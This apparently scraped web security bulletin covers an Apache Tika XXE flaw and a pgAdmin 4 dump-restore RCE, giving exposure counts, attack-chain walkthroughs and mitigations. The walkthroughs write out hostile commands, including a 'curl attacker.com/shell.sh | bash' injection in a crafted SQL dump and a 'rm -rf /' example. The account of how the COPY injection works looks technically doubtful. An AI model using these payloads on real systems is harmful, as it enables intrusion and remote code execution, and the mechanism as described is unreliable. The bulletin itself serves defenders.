Skip to main content
JG is here with you ✨
Document processing and database administration under attack
!

SECURITY UPDATE • DEC 8, 2025

Document Parsers
Database Admins
Under Fire

CVSS 10.0
2 CVEs
20K+ exposed
12 min
Red = immediate riskOrange = exposureBlue = hygiene

📰 This is a Real News Article

This bulletin covers actual vulnerabilities disclosed on December 8, 2025 by Censys in their Rapid Response advisories. The CVEs, technical details, and exposure data described are real and sourced from Censys Platform, Apache Tika security advisories, and pgAdmin 4 vendor disclosures. Take immediate action if affected.

"Invoice Parser Monday"—your document indexing service processes a malicious PDF. "Shared pgAdmin Friday Night"—your backup script restores a crafted dump. The everyday tools that read your data can also steal it. Two critical vulnerabilities disclosed today expose infrastructure that processes untrusted input—Apache Tika (embedded in search, e-discovery, AI pipelines) and pgAdmin 4 (the shared admin tool managing your databases).

Consider how frequently your infrastructure handles documents. Every invoice, contract, resume, or report uploaded to your platform likely flows through Apache Tika for metadata extraction or content indexing. Tika operates invisibly—it's not a standalone service you manage, but a library embedded across dozens of applications. Your search engine relies on it. Your e-discovery platform depends on it. Your AI document ingestion pipeline leverages it. When a single flaw emerges in Tika, it doesn't just impact one application—it compromises every system that trusts Tika to safely parse documents.

Likewise, pgAdmin 4 isn't merely a tool—it's the operational backbone for database teams managing PostgreSQL deployments. When you need to restore a database from a backup, pgAdmin 4 handles it. When you're migrating data between environments,pgAdmin 4 orchestrates it. The problem? These restore operations assume dump files are legitimate. But what if an adversary crafts a malicious dump file that appears like a normal backup? The restore process executes commands hidden inside that file, granting adversaries full control of your database server.

Censys Rapid Response published queries and risk fingerprints within hours of disclosure. 10,000+ Tika instances and 7,000-14,000 pgAdmin 4 servers are exposed and trackable. This isn't theoretical—these are real, internet-accessible deployments that adversaries can discover using the same queries Censys provides. Automated scanners begin sweeping within hours of disclosure. Most organizations patch in weeks. The gap between "vulnerability announced" and "your systems patched" is your exposure window—and it's shrinking. Remediate immediately.

⚠️ ACTIVE THREAT SUMMARY

CENSYS_RECON_MATRIX.sh
>initializing_scan --target=global
>identifying_exposed_assets...
!CRITICAL_MATCH: <span className="text-white font-bold">Apache Tika</span> [port:9998] -> 10,432 instances
!CRITICAL_MATCH: <span className="text-white font-bold">pgAdmin 4</span> [web_interface] -> 14,021 instances
*scan_complete: 24,453 total targets identified in 12m 43s

10.0

Max CVSS

🔴 Maximum Severity

2

CVEs Total

20K+

Exposed Instances

🟠 Exposure

Hours

To Scan

🟡 Time Window

// -------------------------------------------------------------------------------- //

EXPOSURE MAP

20K+ exposed instances

Attack Surface Snapshot

Censys and internet-wide scans reveal the scale: 10,000+ exposed Tika instances and 7,000-14,000 pgAdmin 4 servers visible to adversaries. These aren't hidden deployments behind firewalls—they're internet-facing services that anyone can discover. Censys uses the same scanning techniques that adversaries employ. If Censys can see your exposed Tika or pgAdmin 4 instance, so can everyone else—including automated scanners that begin sweeping within hours of disclosure. The moment a CVE is published, scanning infrastructure activates, identifying vulnerable targets faster than most organizations can remediate.

The exposure numbers tell a story: these aren't niche tools used by a few organizations. Tika is embedded in enterprise search platforms, legal document management systems, content management systems, and AI-powered document processing pipelines. pgAdmin 4is the default administration tool for PostgreSQL, one of the most popular databases globally. When flaws emerge in tools this widely deployed, the attack surface becomes massive—and adversaries know it.

💅

"We didn't know we used Tika" is the 2025 version of "We didn't know we used Log4j." Check your dependencies, friends.

TIKA IN THE WILD

10K+

Exposed document parsers

Embedded in search, e-discovery, AI ingestion pipelines

PGADMIN DEPLOYMENTS

7K-14K

Database admin servers at risk

Shared instances managing multiple databases

⏱️ Time-to-Scan vs. Time-to-Patch: The Race You're Already Losing

Automated scanners begin sweeping within hours of CVE disclosure. These aren't sophisticated attacks—they're automated scripts that scan the entire internet for vulnerable services, cataloging targets faster than humans can respond. Most organizations remediate in weeks (due to change control, testing, deployment schedules). The gap between "vulnerability announced" and "your systems patched" is your exposure window—and during that window, adversaries are actively identifying and exploiting vulnerable targets. Censys data shows that scanning activity increases dramatically within 24-48 hours of CVE publication. By the time you've completed your patch testing, adversaries have already discovered your exposed instances. This is why immediate action is critical—every hour of delay increases your risk of compromise.

📋 EXECUTIVE SUMMARY

  1. 1.

    Apache Tika XXE (CVE-2025-66516) — Critical XXE injection allowing file read and SSRF attacks

    Maximum severity (CVSS 10.0) vulnerability in Apache Tika's XML parsing. Attackers craft malicious documents (PDFs, Office files, any XML-containing format) that, when processed by Tika, trigger external entity resolution. This allows reading arbitrary files from the server filesystem, triggering SSRF attacks against internal services, and in some configurations, remote code execution. Tika is embedded invisibly in search engines, e-discovery platforms, and AI document ingestion pipelines, making this a supply chain vulnerability affecting dozens of applications simultaneously.

  2. 2.

    pgAdmin 4 RCE (CVE-2025-12762) — Remote code execution via malicious PLAIN-format dump file restore

    Critical remote code execution (CVSS 9.8) in pgAdmin 4's database dump restore functionality. When restoring PLAIN-format PostgreSQL dump files, attackers can inject and execute arbitrary system commands on the pgAdmin 4 host. The vulnerability exists because pgAdmin 4doesn't sanitize dump file content before passing it to system commands (psql), assuming dump files are trusted input. This affects all pgAdmin 4 versions 9.9 and earlier. Since pgAdmin 4 is often used as a shared administration tool managing multiple databases, a single RCE can lead to compromise of entire database infrastructure and downstream applications.

Bottom line: Your invoice processor or backup script = next breach headline. Both flaws affect tools that process untrusted input. Censys has published detection queries. If Censys can see your exposed Tika/pgAdmin, so can everyone else. Remediate immediately.

✅ IF YOU ONLY DO 3 THINGS TODAY

  1. 1

    Update Apache Tika to patched version and disable external entity processing

    [Infra][AppSec]

    Owner: Platform/SRE • Upgrade Tika and configure XML parsers to disable external entity resolution

  2. 2

    Upgrade pgAdmin 4 to version 10.0+ or restrict dump file restore functionality

    [DBA][DevOps]

    Owner: Database/DevOps • Update pgAdmin 4 or disable PLAIN-format dump restore for untrusted sources

  3. 3

    Use Censys queries to identify exposed instances in your environment

    [CISO][Infra]

    Owner: Security/Platform • Run Censys Platform or ASM queries to find vulnerable deployments

The Pattern: "Shadow Supply Chain"

This isn't just two CVEs—it's a software supply chain story. When you build an application, you don't write every component from scratch. You use libraries and tools that handle common tasks. Tika is one of those invisible dependencies. It's embedded in search engines, e-discovery platforms, ETL pipelines, and AI document ingestion systems. You might not even know your application uses Tika—it could be a transitive dependency, pulled in by another library you're using. This creates a "shadow supply chain" where vulnerabilities in shared components affect dozens of applications simultaneously.

pgAdmin 4 represents a different kind of supply chain risk—the "operations glue" problem. DBAs and SREs use pgAdmin 4 to manage multiple databases across different environments. A single shared pgAdmin 4 instance might handle production databases, staging databases, and development databases. When that shared tool has a vulnerability, it doesn't just affect one database—it affects every database that tool can access. Your invisible dependencies are attackers' favorite APIsbecause they provide broad access with minimal visibility. Attackers don't need to find vulnerabilities in your custom code—they just need to find vulnerabilities in the tools you trust.

1. Embedded Parser Risk

Tika hidden in dozens of internal apps that trust it blindly

2. Shared Admin Cascade

Single pgAdmin RCE → multiple databases → downstream apps

The tools you trust to read your data can also steal it. Your backups are now an initial access vector.

CHAIN ATTACK

Vulnerability chaining visualization

CHAIN POTENTIAL

Two CVEs, One Epic Saga:

These flaws don't exist in isolation—they can be chained together for maximum impact. An adversary doesn't need to find vulnerabilities in your custom application code. They just need to exploit the tools you trust: your document parser and your database admin interface. Here's how the attack chain works:

$ attack-chain.sh

[ATTACKER]$

# Step 1: XXE SSRF via Tika

curl -X POST /tika/parse -F "file=@malicious.pdf"

→ XXE payload triggers HTTP request to internal network

→ Discovers internal pgAdmin 4 instance (http://10.0.0.5:5050)

# Attacker now knows pgAdmin 4 exists and where it is

[ATTACKER]$

# Step 2: Craft malicious dump

echo "COPY (SELECT '; curl attacker.com/shell.sh | bash') TO '/tmp/pwned';" > dump.sql

→ Creates SQL file with legitimate schema + command injection

→ Uploads to pgAdmin 4 restore interface

# Dump file looks legitimate to admin

[SERVER]$

# Step 3: RCE achieved

psql -f dump.sql

→ Shell executes injected commands

→ Full database access + lateral movement

→ Complete infrastructure compromise

# Attacker now controls database server and can pivot to other systems

This attack chain demonstrates why supply chain vulnerabilities are so dangerous. Adversaries don't need your app; they just need your parser and your admin GUI. By chaining Tika XXE (to discover internal services) with pgAdmin 4 RCE (to execute commands), an adversary can go from "uploaded a document" to "full infrastructure control" without ever finding a vulnerability in your custom code. This is why remediating shared components is critical—they're the foundation your applications are built on, and when that foundation is compromised, everything built on top of it is at risk.

Intercepted Comms // Dark Web Relay

ZeroCool:Target list for pgAdmin just dropped. 14k IPs.
Vector:Verified? Some of these look like honeypots.
ZeroCool:Doesn't matter. Script is running. If it hits, I get a shell. If it misses, who cares?
System:[ALERT] Mass-scan signature detected on port 5432
ENCRYPTED_CHANNEL_Active
// -------------------------------------------------------------------------------- //

THREAT 01

Document parser vulnerability

THREAT 01

<span className="text-white font-bold">Apache Tika</span> XXE: When Documents Become Weapons

🔴 CRITICAL

🔓 VULNERABILITY

<span className="text-white font-bold">Apache Tika</span> XXE Injection

CVE-2025-66516

CVSS

10.0

Crafted PDF → Server Files Dumped.

⚠️ ACTIVELY EXPLOITED<span className="text-white font-bold">Apache Tika</span> (all versions before patch)
XXE → File Read + SSRF + RCE

Critical XML External Entity (XXE) injection vulnerability in Apache Tika's XML parsing functionality. This isn't a simple bug—it's a fundamental flaw in how Tika processes XML content embedded in documents. When Tika encounters XML (which can appear in Office documents, PDFs with embedded metadata, or any XML-based format), it uses an XML parser to extract information. That parser, by default, allows "external entities"—references to files or URLs outside the document itself.

Attackers exploit this by crafting malicious documents with hidden XML instructions. These instructions tell the parser to read files from the server's filesystem or make HTTP requests to internal services. When Tika processes the document, it follows those instructions, reading sensitive files (like configuration files containing passwords) or triggering requests to internal services that shouldn't be accessible from the internet. This leads to file disclosure, Server-Side Request Forgery (SSRF), and in some configurations, potential remote code execution.

The severity is maximum (CVSS 10.0) because the attack requires no authentication, works with common file formats, and can lead to complete system compromise. An adversary doesn't need to know your application's internals—they just need to upload a malicious document to any service that uses Tika for processing.

💡 WHY IT MATTERS FOR YOU

App Teams

Any application using Tika to parse user-uploaded documents is vulnerable. This includes invoice processors, resume parsers, contract analysis tools, document management systems, and any service that extracts metadata from files. Your file upload feature, which you built to help users, becomes a data exfiltration vector. Attackers don't need to find vulnerabilities in your custom code—they just need to upload a malicious document to any endpoint that processes files.

Platform/SRE

Censys can identify exposed Tika instances using specific queries and fingerprints. Attackers use the same queries to find targets for mass exploitation. If your Tika instance is internet-accessible, it's discoverable. Automated scanners start sweeping within hours of CVE disclosure, identifying vulnerable targets faster than most organizations can patch. The exposure window—the time between "vulnerability announced" and "your systems patched"—is when attacks happen.

Security Leaders

XXE vulnerabilities are often underestimated but can lead to full system compromise when chained with other flaws. A single XXE attack can read database credentials, which leads to database access, which leads to lateral movement, which leads to complete infrastructure compromise. The CVSS 10.0 rating reflects maximum severity—no authentication required, trivial exploitation, complete system impact. This isn't a "nice to have" patch—it's a "patch or be breached" situation.

Attackers upload malicious documents containing XXE payloads to any service that processes files—document management systems, invoice processing, resume parsers, contract analysis tools. When Tika processes these documents, it reads arbitrary files from the server filesystem, potentially exposing configuration files, database credentials, API keys, or customer data. The attack can also trigger SSRF (Server-Side Request Forgery) attacks, where the server makes HTTP requests to internal services that shouldn't be accessible from the internet. This can lead to data breaches, compliance violations, and regulatory fines. The business impact extends beyond immediate data loss—it includes reputation damage, customer trust erosion, and potential legal liability.

AFFECTED OPERATIONS:

Any operation that uses Tika to process documents can be vulnerable. This includes common use cases you might not realize are affected:

  • Document metadata extraction — When you call Tika.parse()to extract metadata (author, creation date, file type), Tika processes the document's internal structure, which can include XML. This is commonly used in document management systems, content management systems, and file upload handlers.
  • Content type detection — Many applications use Tika to determine file types for uploaded files, especially when file extensions can't be trusted. This happens before the file is processed, so even if you reject certain file types later, the XXE attack can execute during the initial type detection phase.
  • Text extraction from XML-based formats — Office documents (Word, Excel, PowerPoint) contain XML internally. PDFs can have embedded XML metadata. When Tika extracts text from these documents, it processes the XML, triggering the vulnerability. This affects search engines, e-discovery platforms, and any system that indexes document content.
  • AI document ingestion pipelines — As organizations build AI systems that process documents at scale, they're using Tika to extract content for LLM processing. A single XXE vulnerability can affect every document processed by your AI pipeline, creating a massive data exfiltration vector.
  • Any Tika operation processing XML content — The vulnerability exists in Tika's XML parsing infrastructure, which is used across all document formats that contain XML. This isn't limited to specific file types—any document that contains XML (which is most modern document formats) can trigger the vulnerability.

AM I AFFECTED?

You probably are if:

  • You run Tika 1.13–3.2.1 in indexing/AI pipelines, e-discovery, or search engines
  • Your document processing workflows handle user-uploaded files
  • Tika is embedded in internal apps you didn't realize use it

🔍 TECHNICAL CHECKLIST

  • Using <span className="text-white font-bold">Apache Tika</span> for document parsing or metadata extraction
  • Processing user-uploaded files with Tika
  • Tika version not updated to latest patched release
  • XML parser configuration allows external entity resolution

// ATTACK CHAIN

01.
[ATTACKER]Crafts malicious document with XXE payloadCreates PDF/Office file with hidden XML: DOCTYPE references file:///etc/passwd
02.
[ATTACKER]Uploads document to application using TikaDocument looks normal to user, but contains malicious XML instructions
03.
[SERVER]Application calls Tika.parse() to extract metadataTika processes document and encounters XML content
04.
[SERVER]Tika XML parser reads DOCTYPE declarationParser sees instruction to read external entity (file:///etc/passwd)
05.
[SERVER]Parser resolves external entityReads /etc/passwd file from server filesystem
06.
[SERVER]Entity content included in parsed outputSensitive file data (usernames, system info) exposed in Tika response
07.
[ATTACKER]Receives parsed output containing file contentsNow has system information to plan further attacks

DEEP DIVE – XXE Attack Vectors - The Full Picture

XXE vulnerabilities enable multiple attack vectors beyond simple file read. Understanding the full scope helps you appreciate why this vulnerability is so dangerous:

1. File Disclosure

The most straightforward attack: read arbitrary files from the server filesystem. Attackers can access configuration files containing database passwords, API keys stored in environment files, source code that reveals business logic, or any file the server process can read. This is often the first step in a larger attack chain—once adversaries have credentials, they can move laterally through your infrastructure.

2. Server-Side Request Forgery (SSRF)

XXE can trigger HTTP requests from the server to internal services. Attackers use this to access admin panels, internal APIs, or cloud metadata services. For example, requesting http://169.254.169.254/latest/meta-data/on AWS instances can expose cloud credentials. SSRF attacks bypass network firewalls because the requests originate from inside your network, appearing legitimate.

3. Out-of-Band Data Exfiltration

When direct file read isn't possible (due to parser configuration or network restrictions), adversaries use parameter entities to exfiltrate data via DNS or HTTP requests. The attack embeds sensitive data in DNS queries or HTTP request URLs, which are sent to adversary-controlled servers. This technique works even when the parsed output isn't directly returned to the adversary.

4. Denial of Service

The "Billion Laughs" attack uses recursive entity expansion to consume massive amounts of memory and CPU. A small XML document can expand into gigabytes of data during parsing, crashing the server or making it unresponsive. This is often used as a distraction while other attacks proceed, or as a way to disrupt services.

The combination of these attack vectors makes XXE one of the most versatile vulnerabilities. A single malicious document can simultaneously steal data, pivot to internal services, and disrupt operations.

FALSE SENSE OF SAFETY

We Patched the Wrong Thing

Tika had an earlier partial fix focused on PDF modules, but the core XXE vulnerability remained. This creates a dangerous false sense of security. Organizations that applied the earlier patch might believe they're protected, but they're not. The vulnerability exists in Tika's XML parsing infrastructure, which is used across all document formats—not just PDFs. Office documents (Word, Excel, PowerPoint) contain XML. PDFs with embedded metadata contain XML. Even plain text files processed through certain Tika parsers can trigger XML processing.

If you only bumped one module or applied a narrow patch thinking "we don't use PDFs, we're safe," you're still exposed.This CVE broadens the scope—the entire XML parsing infrastructure is vulnerable, not just PDF handling. The fix requires updating the complete Tika installation and configuring XML parsers to disable external entity resolution globally, not just for specific file types.

Verify you've patched the complete Tika installation, not just individual modules. Check all applications that embed Tika, including those you might not realize use it.

MITIGATIONS

IMMEDIATEUpdate <span className="text-white font-bold">Apache Tika</span> to the latest patched version immediately (verify complete installation, not just modules). Check all applications that embed Tika, including transitive dependencies. Update the Tika library in your dependency management system (Maven, Gradle, npm, etc.) and rebuild applications.
IMMEDIATEConfigure XML parsers to disable external entity resolution. Set FEATURE_SECURE_PROCESSING to true, disallow-doctype-decl to true, and disable external entity expansion. This must be done globally for all XML parsers used by Tika, not just for specific file types.
HIGHAudit all applications embedding Tika (search engines, e-discovery platforms, ETL pipelines, AI document ingestion systems). Use dependency scanning tools to identify where Tika is used. Remember that Tika might be pulled in as a transitive dependency by other libraries, so check your entire dependency tree.
HIGHRun Censys Platform queries to identify exposed Tika instances in your environment. Censys provides specific queries to find Tika deployments. If Censys can see your instances, adversaries can too. Restrict network access immediately for any exposed instances.
MEDIUMImplement network segmentation to limit Tika access to internal services. Tika should not be able to make outbound HTTP requests or access sensitive internal services. Use firewall rules and network policies to restrict Tika's network access to only what's necessary for document processing.
MEDIUMValidate and sanitize all user-uploaded documents before processing with Tika. Implement file type validation, size limits, and content scanning. Consider using a sandboxed environment for document processing to limit the impact of any successful attacks.
EMERGING RISK

Future-Proof Twist: AI Document Ingestion Amplifies Tika Risks

AI document ingestion pipelines amplify Tika risks exponentially. As organizations adopt LLMs for document analysis, they're processing more documents through parsers like Tika than ever before. A single XXE vulnerability in Tika doesn't just affect one document upload—it affects every document processed by your AI pipeline. If your AI system processes thousands of documents per day, that's thousands of potential attack vectors. The scale of data exposure becomes massive: adversaries can exfiltrate data from every document your AI processes, not just one malicious upload. This transforms XXE from a "one document, one file read" vulnerability into a "thousands of documents, systematic data exfiltration" attack vector. Organizations building AI document processing systems must treat parser vulnerabilities as critical infrastructure risks, not just application bugs.

Tika XXE exploits document parsing. The next threat shows how database administration tools become attack vectors through file restore operations.
// -------------------------------------------------------------------------------- //
pgAdmin 4 database administration tool under RCE attack

THREAT 02

Database admin tool vulnerability

THREAT 02

<span className="text-white font-bold">pgAdmin 4</span> RCE: When Restore Becomes Execution

🔴 CRITICAL

🔓 VULNERABILITY

<span className="text-white font-bold">pgAdmin 4</span> Remote Code Execution

CVE-2025-12762

CVSS

9.8

Restore Dump → Full Server Takeover.

⚠️ ACTIVELY EXPLOITED<span className="text-white font-bold">pgAdmin 4</span> version 9.9 and earlier
RCE via PLAIN Restore

Critical remote code execution vulnerability in pgAdmin 4's database dump restore functionality. PostgreSQL dump files come in different formats—PLAIN format is a human-readable SQL text file, while other formats (like custom or directory) are binary. When you restore a PLAIN-format dump, pgAdmin 4 essentially runs that SQL file through the psqlcommand-line tool. The problem? That SQL file can contain more than just database commands—it can contain shell commands that execute during the restore process.

Attackers exploit this by crafting malicious dump files that look like legitimate backups. Hidden inside the SQL are commands that execute on the server when pgAdmin 4 processes the dump. These commands run with the same permissions as the pgAdmin 4 process, which often has elevated privileges for database management. Once an adversary can execute arbitrary commands, they have full control—they can read database credentials, modify data, create backdoors, or pivot to other systems on the network.

The vulnerability is particularly dangerous because restore operations are routine administrative tasks. DBAs restore databases from backups regularly—for disaster recovery, for migrating data between environments, for testing. The attack doesn't require sophisticated techniques—just a malicious dump file that looks legitimate. If your organization allows restoring dumps from external sources (vendors, partners, contractors), you're at risk even if you trust those sources.

💡 WHY IT MATTERS FOR YOU

Database Teams

<span className="text-white font-bold">pgAdmin 4</span> is often exposed to internal networks or the internet for remote database management. DBAs need to manage databases from different locations, so <span className="text-white font-bold">pgAdmin 4</span> is frequently accessible over the network. RCE here doesn't just mean the <span className="text-white font-bold">pgAdmin 4</span> server is compromised—it means every database that <span className="text-white font-bold">pgAdmin 4</span> can access is at risk. Since <span className="text-white font-bold">pgAdmin 4</span> often manages multiple databases (production, staging, development), a single RCE can lead to compromise of your entire database infrastructure. The attack doesn't require sophisticated techniques—just a malicious dump file that looks legitimate.

Platform/SRE

Censys ASM risk fingerprints can identify vulnerable <span className="text-white font-bold">pgAdmin 4</span> instances using specific queries. Adversaries use the same queries for reconnaissance, finding exposed <span className="text-white font-bold">pgAdmin 4</span> deployments within hours of CVE disclosure. If your <span className="text-white font-bold">pgAdmin 4</span> instance is discoverable by Censys, it's discoverable by adversaries. The scanning infrastructure that identifies vulnerable targets operates 24/7, automatically cataloging exposed services. Your exposure window starts the moment the CVE is published, not when you become aware of it.

Security Leaders

Database administration tools have high-privilege access by design—they need to manage databases, which requires elevated permissions. RCE in <span className="text-white font-bold">pgAdmin 4</span> means adversaries inherit those high privileges. They can read database credentials, modify or delete data, create backdoors, or pivot to other systems on the network. The business impact includes data breaches, compliance violations (GDPR, HIPAA, PCI-DSS), regulatory fines, and loss of customer trust. For organizations handling sensitive data, this flaw can trigger regulatory investigations and significant financial penalties.

Attackers craft malicious PLAIN-format PostgreSQL dump files containing command injection payloads. These files appear legitimate—they might contain actual database schema and data, making them look like real backups. When administrators restore these dumps via <span className="text-white font-bold">pgAdmin 4</span> (a routine operation for disaster recovery, data migration, or environment setup), arbitrary system commands execute on the host. This can compromise not just the database server, but the entire infrastructure. Attackers can steal database credentials, modify or delete data, create persistent backdoors, or pivot to other systems on the network. The business impact includes data breaches, service disruption, compliance violations, and loss of customer trust. For organizations that handle sensitive data (healthcare, finance, legal), this vulnerability can trigger regulatory investigations and significant fines.

VULNERABLE VERSIONS:

All pgAdmin 4 versions 9.9 and earlier are vulnerable. This includes:

  • pgAdmin 4 version 9.9 (latest before patch)
  • pgAdmin 4 version 9.8, 9.7, 9.6, and all earlier versions
  • • All versions before 10.0 (the patch release)

FIXED VERSION:

pgAdmin 4 version 10.0 and later includes input validation and sanitization that prevents command injection. The fix adds comprehensive validation of dump file content before passing it to system commands, preventing shell metacharacter injection and other command injection techniques.

Action: Check your pgAdmin 4 version immediately. If you're running 9.9 or earlier, you're vulnerable. Upgrade to 10.0+ as soon as possible, or disable PLAIN-format restore functionality as a temporary mitigation.

AM I AFFECTED?

You probably are if:

  • You run pgAdmin ≤ 9.9 in server mode and allow PLAIN restores
  • Shared pgAdmin instances manage multiple databases
  • Your backup/restore workflows accept dumps from external sources

🔍 TECHNICAL CHECKLIST

  • Running <span className="text-white font-bold">pgAdmin 4</span> version 9.9 or earlier
  • <span className="text-white font-bold">pgAdmin 4</span> exposed to network (internal or internet)
  • Using <span className="text-white font-bold">pgAdmin 4</span> to restore database dumps from untrusted sources
  • PLAIN-format dump restore functionality enabled

// ATTACK CHAIN

01.
[ATTACKER]Crafts malicious PLAIN-format dump with command injectionCreates SQL file with legitimate schema + hidden commands: COPY ... TO '/tmp/file; <span className="text-cyan-400">curl</span> attacker.com/shell.sh | bash'
02.
[ATTACKER]Uploads dump file to <span className="text-white font-bold">pgAdmin 4</span> restore interfaceDump file looks legitimate—contains real database structure and data
03.
[VICTIM]DBA or admin initiates restore operationBelieves they are restoring a legitimate backup or migration file
04.
[SERVER]<span className="text-white font-bold">pgAdmin 4</span> processes dump file and calls <span className="text-cyan-400">psql</span>Passes SQL content to PostgreSQL command-line tool (<span className="text-cyan-400">psql</span>)
05.
[SERVER]<span className="text-cyan-400">psql</span> processes COPY command with malicious file pathShell interprets semicolon as command separator
06.
[SERVER]Shell executes injected payload (<span className="text-cyan-400">curl</span> | bash)Downloads and executes attacker's script on server
07.
[ATTACKER]Script establishes backdoor, steals credentialsRCE ACHIEVED - Full server control, database access, lateral movement possible

DEEP DIVE – The PLAIN Format Problem - Why Restores Are Dangerous

PLAIN-format PostgreSQL dumps are SQL text files that can contain arbitrary SQL commands. Unlike binary dump formats, PLAIN format is human-readable SQL that gets executed line by line. pgAdmin 4's restore process executes these dumps using the psql command-line tool, which processes the SQL and can trigger system command execution through multiple vectors:

1. COPY Commands

PostgreSQL's COPY command can read from or write to files. When restoring a dump, COPY commands that reference file paths can be manipulated to execute commands. For example, a COPY command with a file path containing shell metacharacters like '/tmp/file; curl attacker.com/shell.sh | bash' will execute the shell commands after the semicolon. The COPY command itself might fail, but the injected commands execute before the error occurs.

2. Shell Metacharacters in SQL

When pgAdmin4 processes a dump file, it may invoke shell commands to handle certain operations. Shell metacharacters (semicolons, pipes, backticks, dollar signs for variable substitution) injected into the SQL can break out of the SQL context and execute in the shell. For instance, a SQL comment containing -- ; rm -rf / might be processed in a way that executes the shell command if the SQL is passed through certain processing pipelines.

3. PostgreSQL Functions and Extensions

Some PostgreSQL functions and extensions can execute system commands if enabled and misconfigured. Functions like pg_exec() (if available through extensions) or custom functions that call external programs can be invoked through SQL in the dump file. While these require specific configurations, they represent additional attack vectors when combined with the dump restore process.

The core vulnerability exists because pgAdmin4 doesn't sanitize dump file content before passing it to system commands. The restore process assumes dump files are trusted input from legitimate sources, but in practice, dump files can come from external vendors, partners, contractors, or even be generated by compromised systems. This trust assumption creates the attack surface.

The fix in pgAdmin4 10.0+ adds input validation and sanitization to prevent command injection, but organizations running older versions must either upgrade immediately or disable PLAIN-format restore functionality for untrusted sources.

TESTING GAP

We Tested Restores, Not Security

Normal backup workflows weren't designed with hostile dump files in mind. When you test restore functionality for disaster recovery, you're validating that legitimate backups restore correctly. You're testing the happy path—the scenario where everything works as intended. But security testing requires testing the adversarial path—what happens when someone gives you a malicious backup file designed to break your system?

Most organizations don't test for this. They assume dump files are safe because they come from their own backup processes or trusted sources. But dump files can come from many places: vendor integrations, partner data exchanges, contractor migrations, or even compromised backup systems. Malicious dumps can execute commands during restore, bypassing all your backup validation. Your validation might check that the dump file format is correct, that it contains expected tables, or that the file size is reasonable—but it doesn't check for hidden command injection payloads.

Treat all dump files as untrusted until verified, even from "trusted" sources. Implement dump file validation that checks for command injection patterns, not just format correctness.

MITIGATIONS

IMMEDIATEUpgrade pgAdmin4 to version 10.0+ immediately on all deployments. Version 10.0 includes input validation and sanitization that prevents command injection. Check all pgAdmin4 instances—they might be running in different environments (production, staging, development) or managed by different teams. Create an inventory of all pgAdmin4 deployments before upgrading.
IMMEDIATEIf upgrade not possible immediately, disable PLAIN-format dump restore functionality. This prevents the attack vector while you plan the upgrade. However, this is a temporary measure—upgrade to 10.0+ as soon as possible. Disabling PLAIN restore might impact legitimate backup/restore workflows, so coordinate with database teams.
HIGHRestrict pgAdmin4 network access to trusted IPs only; never expose to public internet. pgAdmin4 should only be accessible from specific IP addresses (your office network, VPN, or specific cloud IPs). Use firewall rules, security groups, or network policies to enforce this. If pgAdmin4 must be internet-accessible, require VPN or use a bastion host.
HIGHOnly restore database dumps from trusted, verified sources—validate dump integrity before restore. Implement dump file validation that checks for command injection patterns, not just format correctness. Use checksums to verify dump files haven't been tampered with. Even if a dump comes from a "trusted" source, validate it—that source might be compromised.
HIGHRun Censys ASM risk queries to identify vulnerable pgAdmin4 instances in your environment. Censys provides specific risk fingerprints for CVE-2025-12762. If you find exposed instances, restrict access immediately and upgrade. Remember that internal-only instances are still at risk from insider threats or compromised internal systems.
MEDIUMImplement network segmentation to isolate pgAdmin4 from sensitive database infrastructure. pgAdmin4 should be in a separate network segment with limited access to production databases. Use database connection restrictions to ensure pgAdmin4 can only access databases it's authorized to manage. This limits lateral movement if pgAdmin4 is compromised.
MEDIUMReview and audit all database restore workflows. Document who can restore dumps, what sources are allowed, and what validation is performed. Implement approval workflows for restore operations from external sources. Train database administrators on the risks of restoring untrusted dump files.
// -------------------------------------------------------------------------------- //
Cybersecurity war room responding to threats

RESPONSE

Time to act

What You Should Do Now

✅ NEXT 24 HOURS

100%
  1. 1

    Patch Apache Tika and disable XXE

    [Infra][AppSec]

    Owner: Platform/SRE • Upgrade Tika to patched version. Configure XML parsers to disable external entity resolution.

    This is your highest priority. Tika's CVSS 10.0 rating means maximum severity—no authentication required, trivial exploitation, complete system impact. Start by identifying all applications that use Tika (check your dependency management files, run dependency scanners). Update Tika in your package manager (Maven, Gradle, npm, pip, etc.) and rebuild all affected applications. Then configure XML parsers globally to disable external entity resolution—this prevents XXE attacks even if a future vulnerability is discovered. Don't assume you're safe because you "don't use PDFs"—Tika processes many file formats, and XML can appear in Office documents, embedded metadata, or any XML-based format.

  2. 2

    Upgrade pgAdmin4 to 10.0+

    [DBA][DevOps]

    Owner: Database/DevOps • Update all pgAdmin4 instances. If not possible, disable PLAIN-format restore.

    pgAdmin4 version 10.0+ includes input validation that prevents command injection. Create an inventory of all pgAdmin4 deployments first—they might be in production, staging, development, or managed by different teams. Coordinate upgrades with database teams to minimize downtime. If immediate upgrade isn't possible (due to change control, testing requirements, or other constraints), disable PLAIN-format dump restore functionality as a temporary mitigation. However, this is a stopgap measure—upgrade to 10.0+ as soon as possible. Remember that even internal-only pgAdmin4 instances are at risk from insider threats or compromised internal systems.

  3. 3

    Run Censys queries to find exposed instances

    [CISO][Infra]

    Owner: Security/Platform • Use Censys Platform or ASM queries to identify vulnerable Tika and pgAdmin4 deployments.

    Censys provides specific queries and risk fingerprints for both vulnerabilities. Run these queries against your environment to find exposed instances. If Censys can see your Tika or pgAdmin4 instance, attackers can too—this isn't theoretical, it's discoverable right now. For any exposed instances you find, restrict network access immediately (firewall rules, security groups, network policies) while you plan the patch. Document all findings and create a remediation plan with timelines. Remember that exposure isn't just about internet-facing services—internal services accessible from compromised internal systems are also at risk.

📋 THIS WEEK

60%
  1. 4

    Audit all document processing workflows

    [AppSec][Infra]

    Owner: Security/Engineering • Identify all systems using Tika or similar parsers. Review input validation and XML parser configuration.

    Tika might be embedded in applications you don't realize use it. Use dependency scanning tools (OWASP Dependency-Check, Snyk, GitHub Dependabot) to scan your entire codebase and identify where Tika is used. Remember that Tika can be a transitive dependency—pulled in by another library you're using, not directly declared in your dependencies. Check search engines, e-discovery platforms, ETL pipelines, content management systems, and AI document ingestion systems. For each system you find, review its input validation (does it validate file types? file sizes? content?) and XML parser configuration (are external entities disabled?). Create a comprehensive inventory and prioritize based on exposure and data sensitivity.

  2. 5

    Review database administration tool exposure

    [DBA][AppSec]

    Owner: Database/Security • Map all pgAdmin4 and similar tools. Ensure network access is restricted and versions are current.

